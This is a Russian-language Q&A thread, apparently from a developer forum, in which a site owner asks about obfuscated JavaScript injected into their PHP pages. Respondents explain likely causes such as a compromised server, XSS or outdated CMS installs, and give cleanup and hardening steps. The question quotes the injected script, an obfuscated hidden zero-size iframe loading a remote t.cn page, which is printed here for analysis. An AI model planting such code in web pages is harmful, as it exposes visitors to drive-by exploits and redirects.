JavaScript вводится на моих страницах PHP

У меня есть веб-сайт, и я только что обнаружил, что кто-то внедрил JavaScript на моей странице. Как я могу понять, что это делает и как они это сделали?

<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e 
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\" 
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>

Что я не уверен, как туда попал. Кто-нибудь знает, как он туда попал? и что я могу сделать, чтобы удалить его?

6 ответов

Решение

Вы должны знать это сейчас:

Мы видим это в Linode немного, и это указывает на то, что ваш сервер был взломан злоумышленником. Когда он не удален, это может быть эксплойт браузера, который заразит ваших пользователей, или ссылка на спам-сайт.

Сохраните все с введенным кодом для последующего анализа и немедленно повторно разверните весь свой сервер и веб-стек. У атакующего, несомненно, есть по крайней мере оболочка на вашем ящике, и это неизбежно приведет к руту, если он хитрый.

Выполните повторное развертывание, обновляйте свои приложения, прекращайте писать пригодный для использования PHP и блокируйте свои учетные записи пользователей надежными паролями или ключами SSH. Я не пытаюсь усирать мою компанию или что-то в этом роде, но это так часто встречается на плохо управляемых веб-боксах, что мы написали статью о том, как полностью перераспределить ее с нуля. Я предлагаю это несколько раз в день.

РЕДАКТИРОВАТЬ: Если вы голосуете против меня, пожалуйста, скажите почему - я с тремя точными кодами разбил три случая, поэтому я ничего не придумываю.

РЕДАКТИРОВАТЬ 2: Есть одна точка зрения, где я могу переоценить ситуацию, и это только потому, что я работаю в компании VPS (и я вижу это много). Я сделал ошибку, предположив, что "веб-хост" этого пользователя был сервером под его контролем, а не общим хостингом. Это была ошибка, но все же есть шанс, что я прав.

Компромисс - это отчаянная ситуация, когда работа в темноте может иметь катастрофические последствия. Если вы не знаете, почему неавторизованная сторона получила доступ к вашей инфраструктуре, вы не сможете устранить проблему. Поскольку все предполагали, что мы говорим об управляемом, разделяемом хостинге здесь - есть вероятность, что вы правы, и виноват XSS. Опять же, вопрос не был представлен с большим количеством данных, и компромисс является ситуацией, которая не рассматривается с достаточной серьезностью среди разработчиков в целом.

Честно говоря, я устал от билетов, которые мы открываем, когда один ящик сталкивается с другим в Интернете с помощью зондов SSH, данных DoS, внедрения URL-адресов или чего-либо в этом роде - и разработчик Rails или PHP, управляющий боксом, понятия не имеет, почему случилось или что он может с этим поделать. Это все вещи, которые указывают на компромисс системы, а не XSS. Поэтому мое предположение, что это был сервер, находящийся под контролем ОП, было неуместно, но это простительно (я надеюсь), потому что я сейчас на работе, обрабатываю эти заявки.

Если вы хотите, чтобы я удалил свой ответ, просто скажите об этом, но я не вижу, чтобы другие голосовали.

Поскольку вы упомянули PHP, я рассмотрю список возможных способов, которыми это могло произойти. Этот список не является всеобъемлющим; но это позволит вам провести достаточное расследование произошедшего.

  1. Возможно, ваш веб-хостинг был взломан, и это было помещено на вашу страницу благодаря слабой безопасности с их стороны. Однако не думайте, что это так. Это должно быть вашим последним средством.
  2. Это, наверное, твоя вина. Я не говорю это, чтобы указать на вину; но чем раньше мы, разработчики, поймем, что являемся причиной наших проблем, тем лучше нам всем. Единственный разработчик, которому я не доверяю, - тот, кто говорит, что он не делает ошибок.

  3. Ваш сайт, вероятно, подвергся атаке XSS.

    • У вас есть какой-нибудь способ для пользователя ввести информацию на вашем сайте? Используете ли вы какие-либо текстовые поля или что-нибудь, что позволило бы ввод от пользователя?

Если это так, то ваш сайт уязвим для XSS и других атак. Вот "шпаргалка", которая расскажет вам общие вещи, которые вы можете сделать, чтобы смягчить это.

  1. Вы не должны позволять никаким пользовательским данным передаваться в базу данных без параметризации.

  2. Если вы собираетесь разрешить пользователю вставлять HTML, вам нужно его санировать.

  3. Не используйте магические кавычки.

Это могло произойти по разным причинам, но без дополнительной информации я уйду от того, что вы написали.

шаги:

  1. Переведите приложение в автономный режим.
  2. Запросите вашу базу данных, чтобы увидеть, сколько страниц / записей было введено.
  3. Проверьте в своем коде вещи, которые я упоминаю.
  4. Исправьте это.
  5. Просмотрите вашу базу данных и удалите все подозрительные строки (SQL-скрипт будет проще всего).
  6. Переустановите приложение.
  7. Убедитесь, что вы следите за журналами вашего веб-сервера. Они находка для определения того, откуда началась атака.

Используете ли вы какие-либо сторонние приложения, которые имеют дыры в безопасности? Например, некоторое время назад у нас возникла проблема со старой версией редактора FCK, настроенной в расположении по умолчанию со всеми папками примеров, которые использовались для загрузки плохих файлов.

Запутанная часть не выходит на "t.cn/vid"

Менее вероятно, что это было сделано с помощью вашего собственного кода (так как код или возможные эксплойты для этого обычно не широко известны - но это, очевидно, не является причиной, чтобы не обезопасить его), но проверьте обычные, но устаревшие приложения (WordPress, Drupal, ...) на вашем аккаунте.

Несколько дней назад я сталкивался с чем-то похожим, оказалось, что там был установлен старый блог WordPress (я думаю, 2.0), через который они могли получить доступ.

Если вы можете, также проверьте журналы вашего сервера на время последнего изменения ваших PHP-файлов на сервере. В моем случае это дало четкую запись о том, как они вошли и что с этим делать.

Как я вижу, ваши страницы были вставлены в код, поэтому это было сделано из-за дыры в безопасности вашего сервера или любого работающего на нем приложения. У хакера есть возможность записи в ваши сценарии, и решение может быть таким простым, как изменение пароля FTP, или таким сложным, как поиск дыры в любом приложении, установленном на вашем сервере.

Но сначала попробуйте изменить свой пароль FTP. Измените его на очень сложный, длиной не менее 12 символов с любым специальным символом. Я слышал, что от русских хакеров велась грубая атака, которая вставляла скрипты в заголовки страниц, чтобы перенаправить пользователей на любые другие сайты для каких-либо непонятных целей.

Другие вопросы по тегам